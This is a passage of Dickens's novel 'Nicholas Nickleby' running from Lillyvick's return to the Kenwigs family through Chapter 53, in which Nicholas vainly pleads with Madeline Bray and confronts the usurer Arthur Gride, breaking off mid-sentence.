+Newman had been a silent spectator of this scene; for Mr Lillyvick +had signed to him not to withdraw, and Mr Kenwigs had further +solicited his presence by a nod of invitation. When Mrs Kenwigs had +been, in some degree, restored, and Newman, as a person possessed of +some influence with her, had remonstrated and begged her to compose +herself, Mr Lillyvick said in a faltering voice: + +'I never shall ask anybody here to receive my--I needn't mention the +word; you know what I mean. Kenwigs and Susan, yesterday was a week +she eloped with a half-pay captain!' + +Mr and Mrs Kenwigs started together. + +'Eloped with a half-pay captain,' repeated Mr Lillyvick, 'basely and +falsely eloped with a half-pay captain. With a bottle-nosed captain +that any man might have considered himself safe from. It was in +this room,' said Mr Lillyvick, looking sternly round, 'that I first +see Henrietta Petowker. It is in this room that I turn her off, for +ever.' + +This declaration completely changed the whole posture of affairs. +Mrs Kenwigs threw herself upon the old gentleman's neck, bitterly +reproaching herself for her late harshness, and exclaiming, if she +had suffered, what must his sufferings have been! Mr Kenwigs +grasped his hand, and vowed eternal friendship and remorse. Mrs +Kenwigs was horror-stricken to think that she should ever have +nourished in her bosom such a snake, adder, viper, serpent, and base +crocodile as Henrietta Petowker. Mr Kenwigs argued that she must +have been bad indeed not to have improved by so long a contemplation +of Mrs Kenwigs's virtue. Mrs Kenwigs remembered that Mr Kenwigs had +often said that he was not quite satisfied of the propriety of Miss +Petowker's conduct, and wondered how it was that she could have been +blinded by such a wretch. Mr Kenwigs remembered that he had had his +suspicions, but did not wonder why Mrs Kenwigs had not had hers, as +she was all chastity, purity, and truth, and Henrietta all baseness, +falsehood, and deceit. And Mr and Mrs Kenwigs both said, with +strong feelings and tears of sympathy, that everything happened for +the best; and conjured the good collector not to give way to +unavailing grief, but to seek consolation in the society of those +affectionate relations whose arms and hearts were ever open to him. + +'Out of affection and regard for you, Susan and Kenwigs,' said Mr +Lillyvick, 'and not out of revenge and spite against her, for she is +below it, I shall, tomorrow morning, settle upon your children, and +make payable to the survivors of them when they come of age of +marry, that money that I once meant to leave 'em in my will. The +deed shall be executed tomorrow, and Mr Noggs shall be one of the +witnesses. He hears me promise this, and he shall see it done.' + +Overpowered by this noble and generous offer, Mr Kenwigs, Mrs +Kenwigs, and Miss Morleena Kenwigs, all began to sob together; and +the noise of their sobbing, communicating itself to the next room, +where the children lay a-bed, and causing them to cry too, Mr Kenwigs +rushed wildly in, and bringing them out in his arms, by two and two, +tumbled them down in their nightcaps and gowns at the feet of Mr +Lillyvick, and called upon them to thank and bless him. + +'And now,' said Mr Lillyvick, when a heart-rending scene had ensued +and the children were cleared away again, 'give me some supper. +This took place twenty mile from town. I came up this morning, and +have being lingering about all day, without being able to make up my +mind to come and see you. I humoured her in everything, she had her +own way, she did just as she pleased, and now she has done this. +There was twelve teaspoons and twenty-four pound in sovereigns--I +missed them first--it's a trial--I feel I shall never be able to +knock a double knock again, when I go my rounds--don't say anything +more about it, please--the spoons were worth--never mind--never +mind!' + +With such muttered outpourings as these, the old gentleman shed a +few tears; but, they got him into the elbow-chair, and prevailed +upon him, without much pressing, to make a hearty supper, and by the +time he had finished his first pipe, and disposed of half-a-dozen +glasses out of a crown bowl of punch, ordered by Mr Kenwigs, in +celebration of his return to the bosom of his family, he seemed, +though still very humble, quite resigned to his fate, and rather +relieved than otherwise by the flight of his wife. + +'When I see that man,' said Mr Kenwigs, with one hand round Mrs +Kenwigs's waist: his other hand supporting his pipe (which made him +wink and cough very much, for he was no smoker): and his eyes on +Morleena, who sat upon her uncle's knee, 'when I see that man as +mingling, once again, in the spear which he adorns, and see his +affections deweloping themselves in legitimate sitiwations, I feel +that his nature is as elewated and expanded, as his standing afore +society as a public character is unimpeached, and the woices of my +infant children purvided for in life, seem to whisper to me softly, +"This is an ewent at which Evins itself looks down!"' + + + +CHAPTER 53 + +Containing the further Progress of the Plot contrived by Mr Ralph +Nickleby and Mr Arthur Gride + + +With that settled resolution, and steadiness of purpose to which +extreme circumstances so often give birth, acting upon far less +excitable and more sluggish temperaments than that which was the lot +of Madeline Bray's admirer, Nicholas started, at dawn of day, from +the restless couch which no sleep had visited on the previous night, +and prepared to make that last appeal, by whose slight and fragile +thread her only remaining hope of escape depended. + +Although, to restless and ardent minds, morning may be the fitting +season for exertion and activity, it is not always at that time that +hope is strongest or the spirit most sanguine and buoyant. In +trying and doubtful positions, youth, custom, a steady contemplation +of the difficulties which surround us, and a familiarity with them, +imperceptibly diminish our apprehensions and beget comparative +indifference, if not a vague and reckless confidence in some relief, +the means or nature of which we care not to foresee. But when we +come, fresh, upon such things in the morning, with that dark and +silent gap between us and yesterday; with every link in the brittle +chain of hope, to rivet afresh; our hot enthusiasm subdued, and cool +calm reason substituted in its stead; doubt and misgiving revive. +As the traveller sees farthest by day, and becomes aware of rugged +mountains and trackless plains which the friendly darkness had +shrouded from his sight and mind together, so, the wayfarer in the +toilsome path of human life sees, with each returning sun, some new +obstacle to surmount, some new height to be attained. Distances +stretch out before him which, last night, were scarcely taken into +account, and the light which gilds all nature with its cheerful +beams, seems but to shine upon the weary obstacles that yet lie +strewn between him and the grave. + +So thought Nicholas, when, with the impatience natural to a +situation like his, he softly left the house, and, feeling as though +to remain in bed were to lose most precious time, and to be up and +stirring were in some way to promote the end he had in view, +wandered into London; perfectly well knowing that for hours to come +he could not obtain speech with Madeline, and could do nothing but +wish the intervening time away. + +And, even now, as he paced the streets, and listlessly looked round +on the gradually increasing bustle and preparation for the day, +everything appeared to yield him some new occasion for despondency. +Last night, the sacrifice of a young, affectionate, and beautiful +creature, to such a wretch, and in such a cause, had seemed a thing +too monstrous to succeed; and the warmer he grew, the more confident +he felt that some interposition must save her from his clutches. +But now, when he thought how regularly things went on, from day to +day, in the same unvarying round; how youth and beauty died, and +ugly griping age lived tottering on; how crafty avarice grew rich, +and manly honest hearts were poor and sad; how few they were who +tenanted the stately houses, and how many of those who lay in +noisome pens, or rose each day and laid them down each night, and +lived and died, father and son, mother and child, race upon race, +and generation upon generation, without a home to shelter them or +the energies of one single man directed to their aid; how, in +seeking, not a luxurious and splendid life, but the bare means of a +most wretched and inadequate subsistence, there were women and +children in that one town, divided into classes, numbered and +estimated as regularly as the noble families and folks of great +degree, and reared from infancy to drive most criminal and dreadful +trades; how ignorance was punished and never taught; how jail-doors +gaped, and gallows loomed, for thousands urged towards them by +circumstances darkly curtaining their very cradles' heads, and but +for which they might have earned their honest bread and lived in +peace; how many died in soul, and had no chance of life; how many +who could scarcely go astray, be they vicious as they would, turned +haughtily from the crushed and stricken wretch who could scarce do +otherwise, and who would have been a greater wonder had he or she +done well, than even they had they done ill; how much injustice, +misery, and wrong, there was, and yet how the world rolled on, from +year to year, alike careless and indifferent, and no man seeking to +remedy or redress it; when he thought of all this, and selected from +the mass the one slight case on which his thoughts were bent, he +felt, indeed, that there was little ground for hope, and little +reason why it should not form an atom in the huge aggregate of +distress and sorrow, and add one small and unimportant unit to swell +the great amount. + +But youth is not prone to contemplate the darkest side of a picture +it can shift at will. By dint of reflecting on what he had to do, +and reviving the train of thought which night had interrupted, +Nicholas gradually summoned up his utmost energy, and when the +morning was sufficiently advanced for his purpose, had no thought +but that of using it to the best advantage. A hasty breakfast +taken, and such affairs of business as required prompt attention +disposed of, he directed his steps to the residence of Madeline +Bray: whither he lost no time in arriving. + +It had occurred to him that, very possibly, the young lady might be +denied, although to him she never had been; and he was still +pondering upon the surest method of obtaining access to her in that +case, when, coming to the door of the house, he found it had been +left ajar--probably by the last person who had gone out. The +occasion was not one upon which to observe the nicest ceremony; +therefore, availing himself of this advantage, Nicholas walked +gently upstairs and knocked at the door of the room into which he +had been accustomed to be shown. Receiving permission to enter, +from some person on the other side, he opened the door and walked +in. + +Bray and his daughter were sitting there alone. It was nearly three +weeks since he had seen her last, but there was a change in the +lovely girl before him which told Nicholas, in startling terms, how +much mental suffering had been compressed into that short time. +There are no words which can express, nothing with which can be +compared, the perfect pallor, the clear transparent whiteness, of +the beautiful face which turned towards him when he entered. Her +hair was a rich deep brown, but shading that face, and straying upon +a neck that rivalled it in whiteness, it seemed by the strong +contrast raven black. Something of wildness and restlessness there +was in the dark eye, but there was the same patient look, the same +expression of gentle mournfulness which he well remembered, and no +trace of a single tear. Most beautiful--more beautiful, perhaps, +than ever--there was something in her face which quite unmanned him, +and appeared far more touching than the wildest agony of grief. It +was not merely calm and composed, but fixed and rigid, as though the +violent effort which had summoned that composure beneath her +father's eye, while it mastered all other thoughts, had prevented +even the momentary expression they had communicated to the features +from subsiding, and had fastened it there, as an evidence of its +triumph. + +The father sat opposite to her; not looking directly in her face, +but glancing at her, as he talked with a gay air which ill disguised +the anxiety of his thoughts. The drawing materials were not on +their accustomed table, nor were any of the other tokens of her +usual occupations to be seen. The little vases which Nicholas had +always seen filled with fresh flowers were empty, or supplied only +with a few withered stalks and leaves. The bird was silent. The +cloth that covered his cage at night was not removed. His mistress +had forgotten him. + +There are times when, the mind being painfully alive to receive +impressions, a great deal may be noted at a glance. This was one, +for Nicholas had but glanced round him when he was recognised by Mr +Bray, who said impatiently: + +'Now, sir, what do you want? Name your errand here, quickly, if you +please, for my daughter and I are busily engaged with other and more +important matters than those you come about. Come, sir, address +yourself to your business at once.' + +Nicholas could very well discern that the irritability and +impatience of this speech were assumed, and that Bray, in his heart, +was rejoiced at any interruption which promised to engage the +attention of his daughter. He bent his eyes involuntarily upon the +father as he spoke, and marked his uneasiness; for he coloured and +turned his head away. + +The device, however, so far as it was a device for causing Madeline +to interfere, was successful. She rose, and advancing towards +Nicholas paused half-way, and stretched out her hand as expecting a +letter. + +'Madeline,' said her father impatiently, 'my love, what are you +doing?' + +'Miss Bray expects an inclosure perhaps,' said Nicholas, speaking +very distinctly, and with an emphasis she could scarcely +misunderstand. 'My employer is absent from England, or I should +have brought a letter with me. I hope she will give me time--a +little time. I ask a very little time.' + +'If that is all you come about, sir,' said Mr Bray, 'you may make +yourself easy on that head. Madeline, my dear, I didn't know this +person was in your debt?' + +'A--a trifle, I believe,' returned Madeline, faintly. + +'I suppose you think now,' said Bray, wheeling his chair round and +confronting Nicholas, 'that, but for such pitiful sums as you bring +here, because my daughter has chosen to employ her time as she has, +we should starve?' + +'I have not thought about it,' returned Nicholas. + +'You have not thought about it!' sneered the invalid. 'You know you +HAVE thought about it, and have thought that, and think so every +time you come here. Do you suppose, young man, that I don't know +what little purse-proud tradesmen are, when, through some fortunate +circumstances, they get the upper hand for a brief day--or think +they get the upper hand--of a gentleman?' + +'My business,' said Nicholas respectfully, 'is with a lady.' + +'With a gentleman's daughter, sir,' returned the sick man, 'and the +pettifogging spirit is the same. But perhaps you bring ORDERS, eh? +Have you any fresh ORDERS for my daughter, sir?' + +Nicholas understood the tone of triumph in which this interrogatory +was put; but remembering the necessity of supporting his assumed +character, produced a scrap of paper purporting to contain a list of +some subjects for drawings which his employer desired to have +executed; and with which he had prepared himself in case of any such +contingency. + +'Oh!' said Mr Bray. 'These are the orders, are they?' + +'Since you insist upon the term, sir, yes,' replied Nicholas. + +'Then you may tell your master,' said Bray, tossing the paper back +again, with an exulting smile, 'that my daughter, Miss Madeline +Bray, condescends to employ herself no longer in such labours as +these; that she is not at his beck and call, as he supposes her to +be; that we don't live upon his money, as he flatters himself we do; +that he may give whatever he owes us, to the first beggar that +passes his shop, or add it to his own profits next time he +calculates them; and that he may go to the devil for me. That's my +acknowledgment of his orders, sir!' + +'And this is the independence of a man who sells his daughter as he +has sold that weeping girl!' thought Nicholas. + +The father was too much absorbed with his own exultation to mark the +look of scorn which, for an instant, Nicholas could not have +suppressed had he been upon the rack. 'There,' he continued, after +a short silence, 'you have your message and can retire--unless you +have any further--ha!--any further orders.' + +'I have none,' said Nicholas; 'nor, in the consideration of the +station you once held, have I used that or any other word which, +however harmless in itself, could be supposed to imply authority on +my part or dependence on yours. I have no orders, but I have fears +--fears that I will express, chafe as you may--fears that you may be +consigning that young lady to something worse than supporting you by +the labour of her hands, had she worked herself dead. These are my +fears, and these fears I found upon your own demeanour. Your +conscience will tell you, sir, whether I construe it well or not.' + +'For Heaven's sake!' cried Madeline, interposing in alarm between +them. 'Remember, sir, he is ill.' + +'Ill!' cried the invalid, gasping and catching for breath. 'Ill! +Ill! I am bearded and bullied by a shop-boy, and she beseeches him +to pity me and remember I am ill!' + +He fell into a paroxysm of his disorder, so violent that for a few +moments Nicholas was alarmed for his life; but finding that he began +to recover, he withdrew, after signifying by a gesture to the young +lady that he had something important to communicate, and would wait +for her outside the room. He could hear that the sick man came +gradually, but slowly, to himself, and that without any reference to +what had just occurred, as though he had no distinct recollection of +it as yet, he requested to be left alone. + +'Oh!' thought Nicholas, 'that this slender chance might not be lost, +and that I might prevail, if it were but for one week's time and +reconsideration!' + +'You are charged with some commission to me, sir,' said Madeline, +presenting herself in great agitation. 'Do not press it now, I beg +and pray you. The day after tomorrow; come here then.' + +'It will be too late--too late for what I have to say,' rejoined +Nicholas, 'and you will not be here. Oh, madam, if you have but one +thought of him who sent me here, but one last lingering care for +your own peace of mind and heart, I do for God's sake urge you to +give me a hearing.' + +She attempted to pass him, but Nicholas gently detained her. + +'A hearing,' said Nicholas. 'I ask you but to hear me: not me +alone, but him for whom I speak, who is far away and does not know +your danger. In the name of Heaven hear me!' + +The poor attendant, with her eyes swollen and red with weeping, +stood by; and to her Nicholas appealed in such passionate terms that +she opened a side-door, and, supporting her mistress into an +adjoining room, beckoned Nicholas to follow them. + +'Leave me, sir, pray,' said the young lady. + +'I cannot, will not leave you thus,' returned Nicholas. 'I have a +duty to discharge; and, either here, or in the room from which we +have just now come, at whatever risk or hazard to Mr Bray, I must +beseech you to contemplate again the fearful course to which you +have been impelled.' + +'What course is this you speak of, and impelled by whom, sir?' +demanded the young lady, with an effort to speak proudly. + +'I speak of this marriage,' returned Nicholas, 'of this marriage, +fixed for tomorrow, by one who never faltered in a bad purpose, or +lent his aid to any good design; of this marriage, the history of +which is known to me, better, far better, than it is to you. I know +what web is wound about you. I know what men they are from whom +these schemes have come. You are betrayed and sold for money; for +gold, whose every coin is rusted with tears, if not red with the +blood of ruined men, who have fallen desperately by their own mad +hands.' + +'You say you have a duty to discharge,' said Madeline, 'and so have +I. And with the help of Heaven I will perform it.' + +'Say rather with the help of devils,' replied Nicholas, 'with the +help of men, one of them your destined husband, who are--' + +'I must not hear this,' cried the young lady, striving to repress a +shudder, occasioned, as it seemed, even by this slight allusion to +Arthur Gride. 'This evil, if evil it be, has been of my own +seeking. I am impelled to this course by no one, but follow it of +my own free will. You see I am not constrained or forced. Report +this,' said Madeline, 'to my dear friend and benefactor, and, taking +with you my prayers and thanks for him and for yourself, leave me +for ever!' + +'Not until I have besought you, with all the earnestness and fervour +by which I am animated,' cried Nicholas, 'to postpone this marriage +for one short week. Not until I have besought you to think more +deeply than you can have done, influenced as you are, upon the step +you are about to take. Although you cannot be fully conscious of +the villainy of this man to whom you are about to give your hand, +some of his deeds you know. You have heard him speak, and have +looked upon his face. Reflect, reflect, before it is too late, on +the mockery of plighting to him at the altar, faith in which your +heart can have no share--of uttering solemn words, against which +nature and reason must rebel--of the degradation of yourself in your +own esteem, which must ensue, and must be aggravated every day, as +his detested character opens upon you more and more. Shrink from +the loathsome companionship of this wretch as you would from +corruption and disease. Suffer toil and labour if you will, but +shun him, shun him, and be happy. For, believe me, I speak the +truth; the most abject poverty, the most wretched condition of +human life, with a pure and upright mind, would be happiness to that +which you must undergo as the wife of such a man as this!' + +Long before Nicholas ceased to speak, the young lady buried her face +in her hands, and gave her tears free way. In a voice at first +inarticulate with emotion, but gradually recovering strength as she +proceeded, she answered him: + +'I will not disguise from you, sir--though perhaps I ought--that I +have undergone great pain of mind, and have been nearly broken- +hearted since I saw you last. I do NOT love this gentleman. The +difference between our ages, tastes, and habits, forbids it. This +he knows, and knowing, still offers me his hand. By accepting it, +and by that step alone, I can release my father who is dying in this +place; prolong his life, perhaps, for many years; restore him to +comfort--I may almost call it affluence; and relieve a generous man +from the burden of assisting one, by whom, I grieve to say, his +noble heart is little understood. Do not think so poorly of me as +to believe that I feign a love I do not feel. Do not report so ill +of me, for THAT I could not bear. If I cannot, in reason or in +nature, love the man who pays this price for my poor hand, I can +discharge the duties of a wife: I can be all he seeks in me, and +will. He is content to take me as I am. I have passed my word, and +should rejoice, not weep, that it is so. I do. The interest you +take in one so friendless and forlorn as I, the delicacy with which +you have discharged your trust, the faith you have kept with me, +have my warmest thanks: and, while I make this last feeble +acknowledgment, move me to tears, as you see. But I do not repent, +nor am I unhappy. I am happy in the prospect of all I can achieve +so easily. I shall be more so when I look back upon it, and all is +done, I know.' + +'Your tears fall faster as you talk of happiness,' said Nicholas, +'and you shun the contemplation of that dark future which must be +laden with so much misery to you. Defer this marriage for a week. +For but one week!' + +'He was talking, when you came upon us just now, with such smiles as +I remember to have seen of old, and have not seen for many and many +a day, of the freedom that was to come tomorrow,' said Madeline, +with momentary firmness, 'of the welcome change, the fresh air: all +the new scenes and objects that would bring fresh life to his +exhausted frame. His eye grew bright, and his face lightened at the +thought. I will not defer it for an hour.' + +'These are but tricks and wiles to urge you on,' cried Nicholas. + +'I'll hear no more,' said Madeline, hurriedly; 'I have heard too +much--more than I should--already. What I have said to you, sir, I +have said as to that dear friend to whom I trust in you honourably +to repeat it. Some time hence, when I am more composed and +reconciled to my new mode of life, if I should live so long, I will +write to him. Meantime, all holy angels shower blessings on his +head, and prosper and preserve him.' + +She was hurrying past Nicholas, when he threw himself before her, +and implored her to think, but once again, upon the fate to which +she was precipitately hastening. + +'There is no retreat,' said Nicholas, in an agony of supplication; +'no withdrawing! All regret will be unavailing, and deep and bitter +it must be. What can I say, that will induce you to pause at this +last moment? What can I do to save you?' + +'Nothing,' she incoherently replied. 'This is the hardest trial I +have had. Have mercy on me, sir, I beseech, and do not pierce my +heart with such appeals as these. I--I hear him calling. I--I-- +must not, will not, remain here for another instant.' + +'If this were a plot,' said Nicholas, with the same violent rapidity +with which she spoke, 'a plot, not yet laid bare by me, but which, +with time, I might unravel; if you were (not knowing it) entitled to +fortune of your own, which, being recovered, would do all that this +marriage can accomplish, would you not retract?' + +'No, no, no! It is impossible; it is a child's tale. Time would +bring his death. He is calling again!' + +'It may be the last time we shall ever meet on earth,' said +Nicholas, 'it may be better for me that we should never meet more.' + +'For both, for both,' replied Madeline, not heeding what she said. +'The time will come when to recall the memory of this one interview +might drive me mad. Be sure to tell them, that you left me calm and +happy. And God be with you, sir, and my grateful heart and +blessing!' + +She was gone. Nicholas, staggering from the house, thought of the +hurried scene which had just closed upon him, as if it were the +phantom of some wild, unquiet dream. The day wore on; at night, +having been enabled in some measure to collect his thoughts, he +issued forth again. + +That night, being the last of Arthur Gride's bachelorship, found him +in tiptop spirits and great glee. The bottle-green suit had been +brushed, ready for the morrow. Peg Sliderskew had rendered the +accounts of her past housekeeping; the eighteen-pence had been +rigidly accounted for (she was never trusted with a larger sum at +once, and the accounts were not usually balanced more than twice a +day); every preparation had been made for the coming festival; and +Arthur might have sat down and contemplated his approaching +happiness, but that he preferred sitting down and contemplating the +entries in a dirty old vellum-book with rusty clasps. + +'Well-a-day!' he chuckled, as sinking on his knees before a strong +chest screwed down to the floor, he thrust in his arm nearly up to +the shoulder, and slowly drew forth this greasy volume. 'Well-a-day +now, this is all my library, but it's one of the most entertaining +books that were ever written! It's a delightful book, and all true +and real--that's the best of it--true as the Bank of England, and +real as its gold and silver. Written by Arthur Gride. He, he, he! +None of your storybook writers will ever make as good a book as +this, I warrant me. It's composed for private circulation, for my +own particular reading, and nobody else's. He, he, he!' + +Muttering this soliloquy, Arthur carried his precious volume to the +table, and, adjusting it upon a dusty desk, put on his spectacles, +and began to pore among the leaves. + +'It's a large sum to Mr Nickleby,' he said, in a dolorous voice. +'Debt to be paid in full, nine hundred and seventy-five, four, +three. Additional sum as per bond, five hundred pound. One +thousand, four hundred and seventy-five pounds, four shillings, and +threepence, tomorrow at twelve o'clock. On the other side, though, +there's the PER CONTRA, by means of this pretty chick. But, again, +there's the question whether I mightn't have brought all this about, +myself. "Faint heart never won fair lady." Why was my heart so +faint? Why didn't I boldly open it to Bray myself, and save one +thousand four hundred and seventy-five, four, three?' + +These reflections depressed the old usurer so much, as to wring a +feeble groan or two from his breast, and cause him to declare, with +uplifted hands, that he would die in a workhouse. Remembering on +further cogitation, however, that under any circumstances he must +have paid, or handsomely compounded for, Ralph's debt, and being by +no means confident that he would have succeeded had he undertaken +his enterprise alone, he regained his equanimity, and chattered and +mowed over more satisfactory items, until the entrance of Peg +Sliderskew interrupted him. + +'Aha, Peg!' said Arthur, 'what is it? What is it now, Peg?' + +'It's the fowl,' replied Peg, holding up a plate containing a +little, a very little one. Quite a phenomenon of a fowl. So very +small and skinny. + +'A beautiful bird!' said Arthur, after inquiring the price, and +finding it proportionate to the size. 'With a rasher of ham, and an +egg made into sauce, and potatoes, and greens, and an apple pudding, +Peg, and a little bit of cheese, we shall have a dinner for an +emperor. There'll only be she and me--and you, Peg, when we've +done.' + +'Don't you complain of the expense afterwards,' said Mrs Sliderskew, +sulkily. + +'I am afraid we must live expensively for the first week,' returned +Arthur, with a groan, 'and then we must make up for it. I won't eat +more than I can help, and I know you love your old master too much +to eat more than YOU can help, don't you, Peg?' + +'Don't I what?' said Peg. + +'Love your old master too much--' + +'No, not a bit too much,' said Peg. + +'Oh, dear, I wish the devil had this woman!' cried Arthur: 'love him +too much to eat more than you can help at his expense.' + +'At his what?' said Peg. + +'Oh dear! she can never hear the most important word, and hears all +the others!' whined Gride. 'At his expense--you catamaran!' + +The last-mentioned tribute to the charms of Mrs Sliderskew being +uttered in a whisper, that lady assented to the general proposition +by a harsh growl, which was accompanied by a ring at the street- +door. + +'There's the bell,' said Arthur. + +'Ay, ay; I know that,' rejoined Peg. + +'Then why don't you go?' bawled Arthur. + +'Go where?' retorted Peg. 'I ain't doing any harm here, am I?' + +Arthur Gride in reply repeated the word 'bell' as loud as he could +roar; and, his meaning being rendered further intelligible to Mrs +Sliderskew's dull sense of hearing by pantomime expressive of +ringing at a street-door, Peg hobbled out, after sharply demanding +why he hadn't said there was a ring before, instead of talking about +all manner of things that had nothing to do with it, and keeping her +half-pint of beer waiting on the steps. + +'There's a change come over you, Mrs Peg,' said Arthur, following +her out with his eyes. 'What it means I don't quite know; but, if +it lasts, we shan't agree together long I see. You are turning +crazy, I think. If you are, you must take yourself off, Mrs Peg--or +be taken off. All's one to me.' Turning over the leaves of his book +as he muttered this, he soon lighted upon something which attracted +his attention, and forgot Peg Sliderskew and everything else in the +engrossing interest of its pages. + +The room had no other light than that which it derived from a dim +and dirt-clogged lamp, whose lazy wick, being still further obscured +by a dark shade, cast its feeble rays over a very little space, and +left all beyond in heavy shadow. This lamp the money-lender had +drawn so close to him, that there was only room between it and +himself for the book over which he bent; and as he sat, with his +elbows on the desk, and his sharp cheek-bones resting on his hands, +it only served to bring out his ugly features in strong relief, +together with the little table at which he sat, and to shroud all +the rest of the chamber in a deep sullen gloom. Raising his eyes, +and looking vacantly into this gloom as he made some mental +calculation, Arthur Gride suddenly met the fixed gaze of a man. + +'Thieves! thieves!' shrieked the usurer, starting up and folding his +book to his breast. 'Robbers! Murder!' + +'What is the matter?' said the form, advancing. + +'Keep off!' cried the trembling wretch. 'Is it a man or a--a--' + +'For what do you take me, if not for a man?' was the inquiry. + +'Yes, yes,' cried Arthur Gride, shading his eyes with his hand, 'it +is a man, and not a spirit. It is a man. Robbers! robbers!' + +'For what are these cries raised? Unless indeed you know me, and +have some purpose in your brain?' said the stranger, coming close up +to him. 'I am no thief.' + +'What then, and how come you here?' cried Gride, somewhat reassured, +but still retreating from his visitor: 'what is your name, and what +do you want?' + +'My name you need not know,' was the reply. 'I came here, because I +was shown the way by your servant. I have addressed you twice or +thrice, but you were too profoundly engaged with your book to hear +me, and I have been silently waiting until you should be less +abstracted. What I want I will tell you, when you can summon up +courage enough to hear and understand me.' + +Arthur Gride, venturing to regard his visitor more attentively, and +perceiving that he was a young man of good mien and bearing, +returned to his seat, and muttering that there were bad characters +about, and that this, with former attempts upon his house, had made +him nervous, requested his visitor to sit down. This, however, he +declined. + +'Good God! I don't stand up to have you at an advantage,' said +Nicholas (for Nicholas it was), as he observed a gesture of alarm on +the part of Gride. 'Listen to me. You are to be married tomorrow +morning.' + +'N--n--no,' rejoined Gride. 'Who said I was? How do you know +that?' + +'No matter how,' replied Nicholas, 'I know it. The young lady who +is to give you her hand hates and despises you. Her blood runs cold +at the mention of your name; the vulture and the lamb, the rat and +the dove, could not be worse matched than you and she. You see I +know her.' + +Gride looked at him as if he were petrified with astonishment, but +did not speak; perhaps lacking the power. + +'You and another man, Ralph Nickleby by name, have hatched this plot +between you,' pursued Nicholas. 'You pay him for his share in +bringing about this sale of Madeline Bray. You do. A lie is +trembling on your lips, I see.' + +He paused; but, Arthur making no reply, resumed again. + +'You pay yourself by defrauding her. How or by what means--for I +scorn to sully her cause by falsehood or deceit--I do not know; at +present I do not know, but I am not alone or single-handed in this +business. If the energy of man can compass the discovery of your +fraud and treachery before your death; if wealth, revenge, and just +hatred, can hunt and track you through your windings; you will yet +be called to a dear account for this. We are on the scent already; +judge you, who know what we do not, when we shall have you down!' + +He paused again, and still Arthur Gride glared upon him in silence. + +'If you were a man to whom I could appeal with any hope of touching +his compassion or humanity,' said Nicholas, 'I would urge upon you +to remember the helplessness, the innocence, the youth, of this +lady; her worth and beauty, her filial excellence, and last, and +more than all, as concerning you more nearly, the appeal she has +made to your mercy and your manly feeling. But, I take the only +ground that can be taken with men like you, and ask what money will +buy you off. Remember the danger to which you are exposed. You see +I know enough to know much more with very little help. Bate some +expected gain for the risk you save, and say what is your price.' + +Old Arthur Gride moved his lips, but they only formed an ugly smile +and were motionless again. + +'You think,' said Nicholas, 'that the price would not be paid. Miss +Bray has wealthy friends who would coin their very hearts to save +her in such a strait as this. Name your price, defer these nuptials +for but a few days, and see whether those I speak of, shrink from +the payment. Do you hear me?' + +When Nicholas began, Arthur Gride's impression was, that Ralph +Nickleby had betrayed him; but, as he proceeded, he felt convinced +that however he had come by the knowledge he possessed, the part he +acted was a genuine one, and that with Ralph he had no concern. All +he seemed to know, for certain, was, that he, Gride, paid Ralph's +debt; but that, to anybody who knew the circumstances of Bray's +detention--even to Bray himself, on Ralph's own statement--must be +perfectly notorious. As to the fraud on Madeline herself, his +visitor knew so little about its nature or extent, that it might be +a lucky guess, or a hap-hazard accusation. Whether or no, he had +clearly no key to the mystery, and could not hurt him who kept it +close within his own breast. The allusion to friends, and the offer +of money, Gride held to be mere empty vapouring, for purposes of +delay. 'And even if money were to be had,' thought Arthur Glide, as +he glanced at Nicholas, and trembled with passion at his boldness +and audacity, 'I'd have that dainty chick for my wife, and cheat YOU +of her, young smooth-face!' + +Long habit of weighing and noting well what clients said, and nicely +balancing chances in his mind and calculating odds to their faces, +without the least appearance of being so engaged, had rendered Gride +quick in forming conclusions, and arriving, from puzzling, +intricate, and often contradictory premises, at very cunning +deductions. Hence it was that, as Nicholas went on, he followed him +closely with his own constructions, and, when he ceased to speak, +was as well prepared as if he had deliberated for a fortnight. + +'I hear you,' he cried, starting from his seat, casting back the +fastenings of the window-shutters, and throwing up the sash. 'Help +here! Help! Help!' + +'What are you doing?' said Nicholas, seizing him by the arm. + +'I'll cry robbers, thieves, murder, alarm the neighbourhood, +struggle with you, let loose some blood, and swear you came to rob +me, if you don't quit my house,' replied Gride, drawing in his head +with a frightful grin, 'I will!' + +'Wretch!' cried Nicholas. + +'YOU'LL bring your threats here, will you?' said Gride, whom +jealousy of Nicholas and a sense of his own triumph had converted +into a perfect fiend. 'You, the disappointed lover? Oh dear! He! +he! he! But you shan't have her, nor she you. She's my wife, my +doting little wife. Do you think she'll miss you? Do you think +she'll weep? I shall like to see her weep, I shan't mind it. She +looks prettier in tears.' + +'Villain!' said Nicholas, choking with his rage. + +'One minute more,' cried Arthur Gride, 'and I'll rouse the street +with such screams, as, if they were raised by anybody else, should +wake me even in the arms of pretty Madeline.' + +'You hound!' said Nicholas. 'If you were but a younger man--' + +'Oh yes!' sneered Arthur Gride, 'If I was but a younger man it +wouldn't be so bad; but for me, so old and ugly! To be jilted by +little Madeline for me!' + +'Hear me,' said Nicholas, 'and be thankful I have enough command +over myself not to fling you into the street, which no aid could +prevent my doing if I once grappled with you. I have been no lover +of this lady's. No contract or engagement, no word of love, has +ever passed between us. She does not even know my name.' + +'I'll ask it for all that. I'll beg it of her with kisses,' said +Arthur Gride. 'Yes, and she'll tell me, and pay them back, and +we'll laugh together, and hug ourselves, and be very merry, when we +think of the poor youth that wanted to have her, but couldn't +because she was bespoke by me!' + +This taunt brought such an expression into the face of Nicholas, +that Arthur Gride plainly apprehended it to be the forerunner of his +putting his threat of throwing him into the street in immediate +execution; for he thrust his head out of the window, and holding +tight on with both hands, raised a pretty brisk alarm. Not thinking +it necessary to abide the issue of the noise, Nicholas gave vent to +an indignant defiance, and stalked from the room and from the house. +Arthur Gride watched him across the street, and then, drawing in his +head, fastened the window as before, and sat down to take breath. + +'If she ever turns pettish or ill-humoured, I'll taunt her with that +spark,' he said, when he had recovered. 'She'll little think I know +about him; and, if I manage it well, I can break her spirit by this +means and have her under my thumb. I'm glad nobody came. I didn't +call too loud. The audacity to enter my house, and open upon me! +But I shall have a very good triumph tomorrow, and he'll be gnawing +his fingers off: perhaps drown himself or cut his throat! I +shouldn't wonder! That would make it quite complete, that would: +quite.' + +When he had become restored to his usual condition by these and +other comments on his approaching triumph, Arthur Gride put away his +book, and, having locked the chest with great caution, descended +into the kitchen to warn Peg Sliderskew to bed, and scold her for +having afforded such ready admission to a stranger. + +The unconscious Peg, however, not being able to comprehend the +offence of which she had been guilty, he summoned her to hold the +light, while he made a tour of the fastenings, and secured the +street-door with his own hands. + +'Top bolt,' muttered Arthur, fastening as he spoke, 'bottom bolt, +chain, 